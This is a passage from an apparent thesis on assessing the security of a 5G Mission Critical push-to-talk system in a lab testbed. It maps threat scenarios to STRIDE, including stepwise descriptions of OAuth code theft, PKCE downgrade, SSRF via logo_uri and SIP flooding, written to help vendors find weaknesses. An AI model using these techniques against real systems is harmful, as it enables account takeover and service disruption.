A threat analysis is a methodical process used to assess how a system, service, or process
could be attacked, whether by malicious actors or unintentionally through misconfigura-
tion. The outcome of a threat analysis is the identification of a system’s vulnerabilities
and the ways they might be exploited. In connected environments, it is crucial to adopt a
“systems approach” for threat analysis. This approach considers the interactions and rela-
tionships between a system’s components throughout its lifecycle. Here, ‘system’ includes
not just the product (e.g., a physical component) but also the backend infrastructure, peo-
ple, and processes it relies on and that rely on it. Connected environments often integrate
various third-party services, making it essential to evaluate the trust and risk exposure
these services bring. A threat analysis can uncover various types of threats within an

organization, which can be categorized as follows:

Accidental Threats - These arise from misconfigurations or accidents that leave an or-
ganization exposed. Human error is one of the leading causes of cyberattacks today.
By conducting a threat analysis, organizations can identify and address accidental

errors before malicious actors exploit them.

Intentional Threats - The threat that every organization is worried about is the inten-
tional threat. Intentional threats are those conducted by malicious entities to gain

access to sensitive data within an organization and make a profit from it.
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Internal Threats - These threats originate from within the organization. While organi-
zations often focus on external threats and build robust security measures to prevent
outside attacks, internal threats can be more dangerous. When an employee acts ma-
liciously, they can have easier access to sensitive information, making internal threats

particularly catastrophic.

2.6.1 STRIDE

The STRIDE model is a structured and iterative methodology used to evaluate a system
and find potential vulnerabilities and weaknesses in its components. The six terms that

compose the acronym are the following ones:

S - Spoofing - When a threat actor can impersonate a legitimate user in the system to

gain an illegitimate advantage.

T - Tampering - When a threat actor is able to manipulate data exchanged between
a legitimate user and the system. This usually happens when data integrity is not

correctly validated or validated at all.

R - Repudiation - Occurs when we are not able to link an action or event to a unique
individual. For instance, can someone do something and deny being the author of

such an action?

I - Information Disclosure - When someone can obtain access to information they
should not have access to. It can happen if data is communicated in an unencrypted
form or weak cryptographic algorithms are used, but also if information is left inside

publicly available resources, such as Javascript files.

D - Denial of Service - When a threat actor is able to affect a system in such a way
as to make it unusable for others or disrupt it. This is usually performed either by
overloading the system with a lot of traffic, that at some point cannot be processed

anymore or by sending malformed input which breaks the parsing logic.
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E - Elevation of Privileges - When an unprivileged user or process is able to gain access
beyond their established permissions. It includes the scenario where a user with low

privileges can obtain higher privileges through misconfigurations.

The STRIDE methodology aims to scope the work using Data Flow Diagrams. This
process is usually called "Decompose the application”, and these diagrams show the dif-
ferent paths through the system, highlighting the privilege or trust boundaries. However,
the adopted approach can vary depending on the analyzed system. This step often calls
out “assets”, which can be any of the things that need to be protected, stepping stones,
or things attackers want. Often times those assets are out of scope for a project and are
a distraction. Other times, they’re hard to identify in advance of an attacker drawing

attention to them.
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Chapter 3

State of the Art

To the best of our knowledge, all existing works that analyze security aspects of the Mis-
sion Critical domain, have been made only by the Third Generation Partnership Project
(3GPP). They have a dedicated series of documents, the 33 series, focused on security
aspects of technologies described in their standards. The 33 series includes Technical
Specification (TS) documents, which are useful for understanding and implementing se-
curity requirements, and Technical Reports (TR) that present studies or enhancements
based on the procedures described in TS documents. However, these existing studies are
based only on theoretical concepts, lacking some details that can be caught more easily
through a practical assessment of a Mission Critical system. Additionally, Mission Critical
applications involve technologies for which security studies have already been conducted.
This chapter explores existing resources from the 3GPP 33 series, specifically focused
on the Mission Critical domain and its related procedures. These resources helped gather
initial knowledge on how security is approached, which requirements are outlined, and the
work that has already been done. Additionally, we list some resources that analyze tech-
nologies commonly used in everyday applications, which have been further contextualized
within our domain of interest in this work. The chapter is organized into two sections that
distinguish work done by 3GPP, strictly related to the Mission Critical domain, and work

related to involved technologies.
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3.1 3GPP TS & TR documents

This section aims to describe the existing work done by the 3GPP, with its document from
the 33 series, specifically focused on the security aspects of the MC domain. The following

resources represent the state of the art for our work:

TS 33.180 - Security of the Mission Critical service
The Technical Specification Document 33.180 is the main reference describing secu-
rity requirements that must be implemented when developing an MC application.
Rather than providing possible attacks or vulnerabilities, it specifies the security ar-
chitecture, procedures, and information flows needed to protect the MC system and
its services. The provided guidelines are focused on the confidentiality and integrity
protection mechanisms of Reference Points, particularly ones that interconnect client
components with the MC domain, procedures for key derivation, key distribution,
security measures for interworking, interconnection, and migration between more MC

systems.

TR 33.880 - Study on mission critical security enhancements
The Technical Report Document 33.880 contains a study of the security aspects of the
Mission Critical service. It provides enhancements to security solutions defined in TS
33.179, entitled Security of Mission Critical Push To Talk (MCPTT) over LTE. The
document is organized in three different parts that respectively outline potential Key
Issues for all MCX services (MCPTT, MCVideo, and MCData), potential security

solutions, and a final evaluation of the proposed solutions.

3.2 Involved Technologies

This section describes works that have been done on technologies and protocols that are
standardized in MC-related Technical Specification documents of the 3GPP and thus im-

plemented in every Mission Critical application.
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OWASP Web Security Testing Guide
The guide is provided by the Open Worldwide Application Security Project
(OWASP), a nonprofit foundation, launched in December 2001, that works to im-
prove software security. All of their projects, tools, documents, forums, and chapters
are free and open to anyone interested in improving application security. One of their
projects is indeed the Web Security Testing Guide (WSTG) [21], which has the
goal to help people understand the what, why, when, where, and how of testing web

applications

OAuth 2.0 Security Best Current Practice
The OAuth 2.0 Security Best Current Practice document [6], published by the IETF’s
Web Authorization Protocol working group on June 2024, updates and extends the
threat model and security advice given in RFC 6749, RFC 6750, and RFC 6819 to
incorporate practical experiences gathered since OAuth 2.0 was published and covers
new threats relevant due to the broader application of OAuth 2.0. The document
provides a list of best practices, attacks, and mitigations on various grant types and

features of the Auth 2.0 protocol.

SIPman: A penetration testing methodology for SIP and RTP
SIPman [2] investigates if it is possible to create a penetration testing methodology
for SIP and RTP, where the target group is penetration testers with no previous
knowledge of these protocols. They performed exploratory testing on three different
SIP server architectures, outlining previously discovered vulnerabilities and attacks,
and mapping them into the STRIDE threat model. In the final part, they also
provide an Appendix section with example payloads and tools used to carry out the
testing process. Unfortunately, this work is based on the assumption that the traffic
sent through the network is not encrypted due to the nature of the protocols, which
would violate the strong security concept enforced in mission-critical communications,
and thus the majority of listed vulnerabilities were not considered to produce our

scenarios.
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Chapter 4

Testbed

This chapter presents the description of our testbed, which comprises the overall network
architecture, the identified security zones, their functionalities, and entities that reside
within such zones. The final part of the chapter presents a list of hardware/software

technologies and tools used for deployment and testing purposes.

4.1 Overall Architecture

The following components were used to understand and conduct tests on the Mission
Critical system. Figure 4.1 illustrates the testbed’s overall network architecture, including
the attacker’s workstation, that extended the already existing deployment provided by

Leonardo.
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All hosts and Virtual Machines gain connectivity from Cyber Innolab’s Network, which
is the private network of the Leonardo Cyber Security R&D Laboratory. All machines
have TP addresses in the range 192.168.7.0/24. The three VMs with addresses respectively
192.168.7.231, 192.168.7.232, and 192.168.7.233 were used to deploy the 5G Core Net-
work, with tools described in Section 4.3.2. The machine Lab5g-1 was used to deploy the
5G Radio Access Network (RAN), from which MCX User Equipments (UE’s)
gain connectivity. A description of the software and hardware tools implicated for the 5G
RAN is presented in Section 4.3.1. The attacker’s PC, with IP address 192.168.7.241,
is the one used to run tests and has all the tools listed in Section 4.3.3 installed on it.
The MC VM is the Virtual Machine that hosts MCXPTT, the system on which the
practical assessment has been conducted. MCXPTT is a product developed by Leonardo,
whose interests in emergency communication began in 2012, with the development of the
XPTT system, an enhanced Push-to-Talk for smartphones with a web control platform
for business users. Later, with the development of Mission Critical communications by the
3GPP organization, Alea S.r.1 grew its interest in MC services and created MCXPTT. This
application supports all MC services described in 2.1, compliant with the MC standard of
3GPP. MCXPTT provides an Android Client application that users install on their MCX
User Equipments, a Dispatcher web application used for Control Room purposes, a Dis-
crete Listener web application for Ambient Listening purposes, and an administrator web
portal that allows you to configure each single parameter of the system in order to satisfy
any operational requirement. The MC VM, which is identified as the System Under
Test (SUT), has two network interfaces, one called Public with TP address 192.168.7.10,
and another one called Management, with IP address 192.168.4.60. In addition, the ar-
chitecture shown in Figure 4.1 can be used as a starting point for other vendors that need
to test their applications, as it is only required to replace the System Under Test, while

the rest can be kept the same.
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4.2 Security Zones

Section 2.6.1 outlines that STRIDE mainly decomposes the application using Data Flow
Diagrams, which aim to identify the different paths through the system, highlighting the
privilege or trust boundaries. Similarly to the STRIDE model that analyzes the interac-
tions between components, in this work, we break down the system into Security Zones.
A security zone is a subnet with similar security requirements and security levels. Fig-
ure 4.2 shows a diagram that illustrates the identified Security Zones within the overall
architecture, described in the previous section, and the various entities that reside within

such zones.
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Figure 4.2: Testbed’s Security Zones
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4.2.1 Public Network

The Public Network, contained in the brown rectangle, refers to the subnet used by
the clients, who need to reach and access entities exposed by the Mission Critical applica-
tion. Clients with their User Equipment obtain connectivity via 5G Mobile Networks, while
others like Dispatchers or Discrete Listeners obtain connectivity via Wi-Fi networks. Mo-
bile Networks could be either operated by Mobile Network Operators (telecom operators),
that offer wide area coverage with access available to any subscriber with a compatible
device and a service plan from the network operator, or managed by a specific organi-
zation, enterprise, or vertical industry, designed to cover specific areas, with restricted
access to authorized users or devices and dedicated resources. In our testbed, we used
a bG Stand-alone Network, which means that no elements from the 4G architecture are
implicated. The 5G infrastructure is composed of a Radio Access Network (RAN)
part and the so-called Core Network (CN), which is a set of Network Functions (NF)
that communicate with each other via Reference Points (RP) and handle different aspects
of the system. Operators such as Police officers or Firefighters with the MCXPTT client

application installed on their UE are connected to this network.

4.2.1.1 5G Radio Access Network

A 5G Radio Access Network (RAN) relies on a fully coordinated, multi-layer network
with low-band, mid-band, and high-band to provide wireless connectivity to devices and
deliver the best network performance. It comprises antennas, radios, baseband (RAN
Compute), and RAN software to enable incredible speeds and mobility. Telco Operators
normally provide physical antennas, but a few open-source software solutions can be used

in conjunction with specific hardware components, to replicate the same/similar behavior.

4.2.1.2 5G Core Network

The 5G Core Network Internal, highlighted with a green rectangle, refers to the
subnet where all the containers/pods running the Network Functions (NF) are located.

The 5G CN may be provided by telco operators or deployed on private servers.
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4.2.2 Management Network

The Management Network subnet, contained in the pink rectangle, provides services
for the Public Network and services that are not reachable from the outside. Concern-
ing the MC VM in Figure 4.1, some services within this network can only be accessed
through the Management interface, while others can be accessed via the Public in-
terface. Internal services provided by the ”Configurator” web portal, used by the MCX
System Administrator, are available through this network. Some examples are managing
existing organizations, customizing configuration parameters, creating new users, deleting
or modifying the attributes of existing ones, and much more. In addition, this subnet could

contain applications for monitoring purposes.

4.2.3 Microservices Network

The Microservices Network, highlighted with a blue rectangle, refers to the subnet
where all containers run. These are executed on the MC VM, illustrated in Figure 4.1,
configured in Docker Host-Mode !, and reachable on the Public interface. At this point,
services that must be reached by clients on the Public Network, will have their port

exposed through Firewall rules, while others can communicate only with internal services.

4.3 Tools

To build the testbed and run tests on it, several tools and technologies were adopted. The
following subsections 4.3.1, 4.3.2 refer to software/hardware technologies used to build the
infrastructure, which includes the 5G Radio Access Network (RAN), the 5G Core Network
(CN) and the Mission Critical Software, while 4.3.3 describes tools used in my security

analysis.

LContainer’s network stack is not isolated from the Docker host.
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4.3.1 5G RAN

These tools were used to deploy a fully functional gNodeB (gNb), which represents the
base station for 5G systems. This component performs tasks like mobility management,
Radio resource management, Radio signal processing, connection management, packet pro-
cessing, and baseband processing. Additionally, provides Security, Quality of service (QoS),
and charging.

SDR - The hardware part was based on Software-Defined Radio (SDR), which is a
radio communication system where components, that conventionally have been imple-
mented in analog hardware (e.g. mixers, filters, amplifiers, modulators/demodulators,
detectors, etc.), are instead implemented through software on a computer or embed-
ded system. The SDR provides the radio front-end, making the communication on
air very similar to a real 5G antenna provided by a Mobile Network operator. The
used SDR was a USRP X310 from Ettus Research, which communicates with a PC
through a high-speed link (10 GB), thanks to the USRP Hardware Driver (UHD).

Clock Distribution Module - Hardware module that provides high-accuracy time and
frequency reference distribution. We used the OctoClock-G CDA-2990, which in-
cludes an internal GPS Disciplined Oscillator (GPSDO) that works by disci-
plining (or steering) the oscillator output to a GPS device or GNSS satellite signal
via a tracking loop. This module is connected to the SDR and minimizes issues
related to the phone not finding the cell and/or not being able to stay connected due
to inaccurate clocks at the gNBs RF frontend.

srsRAN - Open-source software suite designed to implement 4G and 5G cellular network
technologies. It provides a complete stack for both the Radio Access Network (RAN)
and the Core Network. Deployed on a USRP SDR enables the creation of a fully
functional mobile network, capable of supporting the latest wireless communication

standards. We used srsRAN Project that is specifically tied to 5G SA networks.
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4.3.2 5G Core Network

Enterprise and Open-Source solutions exist to deploy a 5G CN. For our use-case, we
choose Open5GS?, a C-language open-source implementation for 5G Core and Evolved
Packet Core (EPC). The 5GC was initially an implementation of an Evolved Packet Core
(EPC), later updated to support the 5G architecture. Open5GS contains a series of soft-
ware components and Network Functions that implement the 4G/5G NSA and 5G SA
core functions, but in our testbed, only 5G SA components were used. Several Network
Functions are implemented but we will not explain them all, since this is not the scope of

this thesis. It’s relevant to know that

User Plane Function (UPF) - connected with the gNB over the N3 interface, carries
the user plane traffic between the gNB and the Internet.

Policy Control Function (PCF) - connected over the N5 Interface with the Applica-
tion Function (in our case MCXPTT), is responsible for managing policies that
regulate various aspects of the network. These policies encompass a wide range of
functions, including quality of service (QoS), network resource allocation, authenti-

cation, mobility, security, and more.

Access and Mobility Management Function (AMF) - Receives all connection and
session-related information from the User Equipment (UE) over the N2 Interface.
Still, it is responsible only for handling connection and mobility management tasks.
All messages related to session management are forwarded over the N11 interface to

the Session Management Function (SMF), which is not displayed in our diagram.

The entire 5G Core Network has been deployed on a Kubernetes (K8S) cluster with 3
Virtual Machines, respectively 1 Master node and 2 Worker nodes, using Helm Charts®
generated by Gradiant, an organization that is actively researching and developing Cloud-
Native Network Functions with special focus on 5G network and evolvable to 6G technolo-

gies.

https://openbgs.org/
3https://gradiant.github.io/5g-charts/
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4.3.3 Testing

The following tools were installed on the Attacker Machine illustrated in Figure 4.1, and

used during our tests.

Nmap - alias for ”Network Mapper”, is a free and open-source solution mainly used to
discover available hosts and open ports in the network. It supports TCP and UDP
scans and provides pre-built scripts to fingerprint services and other information

about the host.

Wireshark - The most known open-source solution for network traffic sniffing and proto-
col analysis. Supports packet dissection for a lot of protocols, including telephony-
related ones, such as SIP and SRTP. Supports live packet capture or analysis of saved
captures in specific file formats like pcap or pcapng. Runs seamlessly on most Unix

systems and Windows ones.

Burpsuite - A very popular tool to conduct pentesting and vulnerability assessment of
web applications. A community, professional, and enterprise version of this product
is available, all tests made in our work can be performed with the community version,
which doesn’t require a license. It offers a large number of features, only ones relevant

to this work are described below:

e Proxy and Interceptor: Intercept HTTP requests and allows users to edit

body parameters, cookies, and headers on the fly.

e Repeater: Allow users to modify and repeat captured requests saved on the

HTTP History.

e Extensions: Burpsuite supports extensions, that can be even developed by
the community, mainly used to test specific technologies or vulnerabilities. For
instance, JWT Editor, is an extension that decodes JSON Web Tokens and

is capable of performing attacks on them.
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Sippts - Offers a set of tools used to audit VolP servers and devices using SIP protocol.

It supports several tools, some of which are listed below:

e scan: TCP and UDP scan of SIP servers to identify open ports and services.

e invite: checks for misconfiguration that can be abused to make calls without

authentication.
e send: send a customized SIP message and analyze the response.

e flood: send unlimited SIP messages to the target.

Scapy - Powerful Python-based interactive packet manipulation program and library that
can forge or decode packets of a wide number of protocols, send them on the wire,
capture them, store or read them using pcap files, match requests and replies, and
much more. Scapy is usable either as a shell or as a library, making it possible to

develop your own tools.

Ffuf - Acronym of Fuzz Faster U Fool, is a fast web fuzzer written in Go. Supports a
huge amount of filters and match rules on status codes, content length, and number
of words of HT'TP responses, recursion to fuzz on already found subdirectories, and
an interactive mode to add/remove rules on the fly without restarting the process
from scratch. Like other web fuzzers, it makes use of wordlists, text files containing
words, or specially crafted payloads that will be tried one by one in an automated
way. Since there are a lot of variables that can be tested, such as request parameters,
headers, cookies, and even HTTP verbs, one may be wondering how Ffuf knows
where to perform tests. Ffuf has a special keyword FUZZ, all uppercase, that is
used as a placeholder to identify where to substitute entries red from the wordlist.

An example of such usage is shown in 5.5.5

Apache HTTP Server - The Apache HTTP Server (“httpd”) is the most commonly
used web server on Linux systems. It allows to host content on the local machine
and receive HT'TP requests with both GET and POST methods. Additionally, has
a built-in functionality that logs all the requests to a specified file.
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Chapter 5

Scenarios

This chapter presents various considerations that were made to choose the entities to an-
alyze, the assumptions made to conduct the analysis, a brief overview of the identified
threat scenarios, and their mapping according to the STRIDE model. Next, each sce-
nario describes which procedures, explained in Chapter 2, are involved, and the identified
misconfiguration(s). In the final part, we provide a possible way to test for some of the
proposed scenarios using the tools and capabilities outlined in Chapter 4. The purpose of
threat scenarios is to help other Mission Critical vendors identify potential misconfigura-
tion or vulnerabilities in their software or provide some insights that can be used to develop
similar tests on their specific solution. Additionally, we think that some scenarios could
help developers understand peculiar aspects of some procedures that may be dangerous
when adjusted from third-party implementations to satisfy mission-critical specifications,

or directly not well explained in 3GPP standards.

5.1 Choice of entities

Several considerations were made in this process. Based on the Security Zones illustrated
in Figure 4.2, the following explains why scenarios on different networks were excluded and

the reasons that led us to focus the work on a single zone.
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1. 5G Core Network - Several works have been done on security aspects of the 5G
core network, yet none of them applied to a mission-critical use case, but still we
believe that the scenarios would be the same as those identified in a generic threat
analysis. There is one exception, which is the interaction between the P-CSCF and
the PCF over the N5 interface, mentioned in 2.2.2.1, which was intended to be
analyzed, but due to some NAT issues in the testbed, it was not possible to do so.

For these reasons, it was decided to exclude further work on this zone.

2. Management Network - This subnet represents a potentially advantageous entry
point for an attacker, as it allows for interaction with non-exposed entities located
within the Microservices Network. Furthermore, having access to the ”Configu-
rator” or "Monitoring” application could have significant implications for the overall
security of a Mission-Critical organization. Even though the likelihood of a ”config-
urator” web application being used to configure the entire organization is very high,
the 3GPP doesn’t mention the need or existence of such an application in any of
its documents. Therefore, its presence and implementation can vary widely among
mission-critical vendors. The same applies to the ”"monitoring” application, since
there are many solutions on the market, the choice would be too variable and there-
fore not valuable for our work. For these reasons, it was decided to exclude potential

scenarios that could arise from this security zone.

3. Microservices Network - This subnet, like the previous one, represents an opti-
mal entry point for an attacker, since the network traffic between entities, that are
not exposed to the clients, is typically not confidentiality or integrity-protected un-
less required by the standard. Nevertheless, gaining access to this security zone is
challenging, as it requires either obtaining access to one of the containers or directly
accessing the virtual machine (VM) where all the containers are running. Moreover,
the configuration of these microservices may differ between mission-critical providers
or even with different types of deployment of the same software (e.g. as explained in
4.2.3, we used the ” All-in-One” solution, still one based on Clusters exists).

As a result, potential scenarios in this security zone were not included in the analysis.
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In light of the considerations made above, and in an effort to maintain a good trade-off
between probability and standards compliance, it was decided to focus the work only on
entities reachable within the Public Network. Although the Firewall is shown in the
diagram in 4.2, it wasn’t present in our testbed. However, in the analysis, we assumed its
presence, considering only those entities that are required to be accessible by clients and,

thus, with ports exposed even in the event of a Firewall.

The analyzed system components are listed below with an overall description of their

functionalities. For a detailed explanation of the system architecture, refer to Chapter 2.

SIPCore - Based on RFC 3261, it’s the main component of the entire signaling plane. Re-
sponsible for authenticating and authorizing clients within the SIP-based network,
initiating, maintaining, and terminating SIP sessions. The SIPCore usually is ex-

posed on port 5060, used to reach the P-CSCF, explained in 2.2.2.1.

Identity Management Server (IDMS) - Based on OpenlD Connect 1.0, is responsible
for the authentication of users within the Mission Critical organization. It issues an
access_token, used to authorize requests for certain resources, through the ” Autho-
rization: Bearer” HTTP Header. These technologies are very prone to misconfigu-
ration since security relies almost entirely on developers using the right combination
of configuration options and implementing their own additional security measures on

top. In short, there’s plenty of opportunity for bad practice to creep in.

Configuration Management Server (CMS) - Implements an HTTP server used to
distribute XML documents, containing configuration parameters of each user. In ad-
dition, it issues notifications to subscribed clients when a new version of the document

is available, so everyone is provided with the latest updates on configurations.

Group Management Server (GMS) - Implements an HTTP server used to distribute
XML documents containing configuration parameters of groups. In addition, it issues
notifications to subscribed clients when a new version of the document is available,

so everyone is provided with the latest updates on configurations.

64



File Repository - One of the main components of the MCData service, it can be used to
store files uploaded directly in the repository or attachments sent in private and/or

group chat.

Bootstrap Service - It is crucial to retrieve information about the MCS UE initial config-
uration management object (MO) and default MCX user profile configuration man-

agement object (MO).

User Equipment - Mobile device used by first responders with the MCXPTT client
application installed. It might be useful to know what information can be recovered
or what are the potential threats that may arise, for example, if the UE can reach
and send requests to 5G Network Functions, in case the device is stolen or if a
malicious user accesses it, even for a short period. For this purpose, we assumed that
the attacker could unlock the stolen phone but the user registered from it has been

disabled and cannot access the client application or use its functionalities.

5.2 Assumptions

Before presenting the scenario list and its description, it is essential to clarify that the

following assumptions have been made for this work.

e An attacker is within the Public Network and can access services with exposed

ports, either using its own web browser or User Equipment.
e An attacker can eavesdrop on network traffic.

e Given the context in which Mission-Critical applications are utilized, an attacker

is highly motivated and possesses a good understanding of the domain.
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5.3 Overview

This section presents an overview of the identified scenarios, derived from an analysis of
3GPP Technical Specifications (TS), Technical Reports (TR) documents, and a practical
assessment of the MCXPTT solution. The overview is presented in Table 5.1 that is

composed of the following columns:

ID - An identifier of the threat scenario in the form TS_number.
Overview - Brief description of the scenario.

STRIDE - Mapping of the scenario within the STRIDE domain.

Trust Level - Indicates what level of privileges an attacker is required to have. In the

table, three different privileges are mentioned, and the description is provided below

e Anonymous User: The attacker is only required to be within the network,

which is the base assumption of this work.

e User with login credentials: The attacker must have obtained in some way
the credentials to login inside one of the web applications (Dispatcher or Discrete

Listener).
e User with valid access_token: The attacker must have valid access_token

(not expired) that has the authorization for the scopes outlined in 2.4.3.2.

Showcased: Indicates whether we provided a way to test for the scenario or not. Only
scenarios that have the checkmark(v’) symbol in this column are listed in Sec-

tion 5.5.
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ID Overview STRIDE Trust Level Showcased
Authorization Code theft
due a malicious redirect_uri P
TS_01 parameter registered STRIDE Y v
o User
exploiting unprotected
dynamic client registration
User login credentials theft
due to a malicious
TS 09 redn'"ect,url para@gter STIDE Anonymous v
registered exploiting User
unprotected dynamic client
registration
Sensible information
disclosure through Server
Side Request Forgery : .
TS 03 (SSRF) via logo_uri TI User with login v
. .. credentials
registered exploiting
unprotected dynamic client
registration
Flooding SIPCore with
REGISTER messages in ALONVILOUS
TS 04 order to overload and slow D ymou v
. . User
down the entire signaling
plane
TS 05 P Spooﬁng'through NAT D Anonymous X
re-assignment User
SIPCore P-CSCF Bypass ALONVILOUS
TS_06 to circumvent SD Y X
.. . User
authorization mechanisms
isclomm vin Path User with »
TS 07 : I valid v
Traversal on the File
. access_token
Repository component
Sensitive Information ANOnVInous
TS_08 Disclosure via Bootstrap I Y v
. User
Service
TS 09 Tamper.mg'SRTP ™ Anonymous X
authentication tag User

Table 5.1: List of Scenarios
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5.4 Description

This section provided a more detailed description of scenarios listed in 5.1. It should be
noted that TS_01, TS_02 and TS_03 are presented under Section 5.4.1, which outlines the

misconfiguration that opens the doors for such scenarios.

5.4.1 IDMS - Unprotected Dynamic Client Registration

As mentioned in 2.4.6, client registration is a fundamental step that must be taken in
order to use the services offered by the IDMS. It’s also stated that the registration can
be done dynamically by contacting a so-called registration endpoint. The client regis-
tration request should contain the ” Authorization” header to protect such a process from
untrusted individuals. However, some providers will allow dynamic client registration with-
out any authentication, which enables an attacker to register their own malicious client
application. This can have various consequences depending on how the values of these

attacker-controllable properties are used and a couple of them are shown below.

5.4.1.1 TS_01 Authorization_Code theft

Before describing the scenario, it’s relevant to point out that it follows what’s written at
the end of 2.4.5. More specifically, the scenario targets a single-page web application, with
an attacker that operates from his own browser. As shown in Table 2.1, the redirect_uri
parameter is used by the IDMS to know where to redirect the authentication response to
receive the authorization code. Using the Unprotected Dynamic Client Registration
misconfiguration, we can register our client application with a malicious redirect_uri,
use it to hijack the authentication flow, steal the authorization_code and request an ac-
cess_token on behalf of the victim. The impact would be very high because this token
grants access to many resources such as user configuration documents, group configuration

documents, API used by Dispatchers or Discrete Listeners, and much more.
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However, the following weaknesses make this attack vector harder:

1. Requires human interaction because the victim should open the hijacked link.

2. Stealing the authorization_code is not enough because Proof Key for Code Ex-

change (PKCE) protection is mandatorily required by the standard.

With regard to the first point, there is little that can be done. It is necessary to com-
bine a certain degree of good fortune with social engineering in order to trick the victim
into opening the link. Concerning the other one, some mechanisms can be leveraged to

circumvent this protection, and a couple of them are described below.

PKCE Downgrade Attack

PKCE Downgrade Attack is the first method that can be used to bypass such protection.
Table 2.1 describes the code_challenge and code_challenge method parameters, neces-
sary for PKCE to apply. Next, Table 2.2 describes the code_verifier, generated at the
beginning of the flow, stored somewhere, and then compared in the last request for the

access_token. Following this preamble, the attack is composed of the steps below:

1. Attacker starts an authorization flow using its device, with a certain code_challenge

in the authorization request.

2. Attacker intercepts the authorization request and removes the code_challenge pa-

rameter from it.

3. If the authorization server allows for flows without PKCE, it will create a code that

is not bound to any code_challenge.

4. The attack now continues as explained in the first paragraph, so the attacker steals

the authorization_code.

5. In the access_token request, the code verifier parameter is omitted or sent as a
placeholder with a random value, and since the IDMS sees that this code is not
bound to any code_challenge, it will not check the presence or contents of the

code_verifier parameter.
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Code Verifier stored inside attacker-accessible location

The second method that can be used to bypass PKCE protection is strictly related to
where the code_verifier is stored when an authorization flow starts. If this variable is
stored client side, in a location like the Browser’s localStorage, an attacker can do the

following steps
1. Start an authorization flow using its own device
2. code_verifier is stored in Browser’s localStorage, then it can be easily accessed.

3. Steal the authorization code via the malicious redirect uri and request the

access_token using the code verifier saved at Step 2.

5.4.1.2 TS_02 Credentials theft through malicious redirect_uri

This scenario is very similar to the previous one, instead of obtaining the access_token on
behalf of the victim, the attacker obtains credentials used in the login process, as shown
in Figure 2.6 - Step 3a. Once again this can be done via the redirect_uri to redirect
the victim to a phishing page that resembles the original one but with the difference
that credentials are sent to the attacker server instead of the legitimate one. In terms
of stealthiness, this is less efficient compared to 5.4.1.1, because if the target application
doesn’t support the same user attached to multiple sessions, the moment the attacker logs

in, the legitimate user would be logged out, noticing that something strange is happening.

5.4.1.3 TS_03 SSRF through logo_uri

In the table 2.1, one can notice that a logo_uri parameter is present. This is one of
the parameters that are defined as optional, indeed from TS 33180 Annex B.3 [9] ”Other
information about the client such as application name, website, description, logo image,
legal terms to be consented to, may optionally be registered.” The logo_uri is used by
the IDMS to know where the logo image of the application is stored, so each time the
application page is accessed, that URL is fetched and the logo is displayed.
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Let us assume that the attacker knows the location of a page that contains sensitive
information, such as https://mcx.server/config/db-configuration. However, the
attacker is unable to access this page because it is only reachable from the internal network.
If the URL of this page is set as the logo_uri during the client registration phase, it will
be fetched each time the application is accessed with that specific client_id. This would

result in the exposure of the content with the database configuration, which would normally

be denied.

5.4.2 TS_04 SIPCore - SIP REGISTER Flooding

The SIPCore is designed in a way that accepts only REGISTER requests that include the
Authorization header, then as an anonymous user, we can’t directly affect other users.
However, in a scenario where the MCX organization has a lot of users, an attacker can
flood the P-CSCF with REGISTER requests causing a slowdown of the service or even its

denial if the requests make the server crash.

5.4.3 TS_05 SIPCore - IP Spoofing through NAT re-assignment

If the "IP Address check” is used as an authentication mechanism for non-registration
messages and the User Equipment (UE) loses connection without deregistering, it’s very
likely that the access network consequently re-assigns the IP address to another user, or a
NAT re-assigns the port to another user. In such case, an attacker repeatedly attaches to
the network hoping to be assigned the IP address or port of another user who dropped off
without deregistering in IMS. If this indeed happens then any non-registration message
sent by the attacker would be accepted by the IP address check mechanism in the P-CSCF

as coming from the previous user.

5.4.4 TS_06 SIPCore - P-CSCF Bypass

As outlined in Section 2.2.2.1 and Section 2.2.2.2, the standard flow of the signaling plane
communication normally happens between the Signaling User Agent located in the MCX

UE and the P-CSCF, over the SIP-1 Reference Point.
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However, in case the S-CSCF is exposed, a malicious user could try to bypass the P-CSCF
and send SIP messages directly to the S-CSCF, which doesn’t require authentication since
messages usually come from the P-CSCF, considered a trusted entity. This is because some
nodes in the IMS domain will trust SIP messages that contain one or more ”asserted iden-
tity” headers. If a malicious user manages to bypass the P-CSCF, the following problems

may arise:
e The P-CSCF would not be able to generate any charging information.

e The malicious user can spoof the identity of another legitimate user and potentially

send non-registration messages, such as INVITE or BYE, on its behalf.

5.4.5 'TS_07 File Repository - Path Traversal

Since one of the capability functions of the M CData service is file distribution as explained
in 2.1.3, for sure there will be a File Repository component with some functionalities to
retrieve files posted directly to such repository or sent as attachments to group or private
messages. An attacker who can steal the access_token as in TS_01, would be authorized to
access the file download functionality of the File Repository. If the download functionality
uses request parameters like file or file_id that are not properly sanitized, an attacker

could gain access to the content of sensitive files that are not supposed to be red.

5.4.6 TS_08 Information Disclosure via Bootstrap Service

As previously outlined in Chapter 2, the Bootstrap service is utilized by User Equipment
to retrieve preliminary configuration documents. It should be noted that no authorization
is necessary to access such information, as the URL for the IDMS is obtained during
this preliminary phase. It may happen that to reduce the complexity of the system, the
same bootstrap service is re-used to provide configuration data to other entities in the
system, even non-standard compliant ones. This can cause potential disclosure of sensitive
information, in case some resources don’t require authorization or bad assumptions are

made about the attacker’s capabilities.
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5.4.7 TS_09 - Tampering SRTP authentication tag

As described in [9], the confidentiality data authentication of SRTP packets is applied
using AEAD_AES_128 GCM algorithm. It also states that: ”The SRTP authentication tag
may be appended to every 'r-th’ packet as defined in IETF RFC 4771 [24] to provide the
SRTP ROC counter to MC UEs performing a late-entry to the communication. A 'mode 3’
integrity transform (RCCm3) shall be supported for transmitting the ROC within a 4-octet
SRTP authentication tag.” However, 'mode-3’ represents the NULL-MAC (NULL-Message
Authentication Code), which means that no integrity protection is applied to this r-th
transmitted packet. For this reason, if an attacker modifies the ROC, the modification will
go undetected by the receiver, resulting in the latter’s loss of cryptographic synchronization
until the next correct ROC is received. This implies that an attacker can perform a Denial

of Service attack by only modifying every r-th packet.

5.5 Testing

The following section will provide some examples of how the scenarios can be tested or
some of the described vulnerabilities can be identified. As already outlined in Section 5.3,
only scenarios that have the checkmark(v') symbol in the ”Showcased” column in Table

5.1, are listed in this section.

5.5.1 TS 01

To test for scenario TS_01 we need to perform the following steps:
e Test for Unprotected Dynamic Client Registration and allowed redirect_uris

e Test for PKCE Downgrade Attack

Firstly, we begin by testing if the OIDC Dynamic Client Registration is allowed without
authorization and if the redirect_uri parameter can be an arbitrary one or some kind of

blacklist is applied. Send the request in Listing 1 to the IDMS registration endpoint.
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POST /idms/register HTTP/1.1
Content-Type: application/json
Accept: application/json
Host: idms.example.com

{
"application_type": "web",
